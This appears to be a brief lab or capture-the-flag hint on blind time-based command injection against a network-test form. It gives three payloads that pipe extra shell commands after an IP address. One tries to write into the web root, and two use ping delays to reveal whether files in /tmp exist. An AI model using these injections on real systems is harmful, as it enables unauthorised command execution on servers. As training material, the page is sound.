Blind Command Injection Hint |
2. Time-Based
Network Test
Goal: Determine if a file named "/tmp/flag" exists
Injections to Try
Fails because < and > are filtered.127.0.0.1 | ls > /var/www/html/YOURNAME.htm
Fast because the file doesn't exist127.0.0.1 | if [ -f /tmp/flag ]; then ping -c 10 127.0.0.1; fi;ls
Slow because the file does exist127.0.0.1 | if [ -f /tmp/netok ]; then ping -c 10 127.0.0.1; fi;ls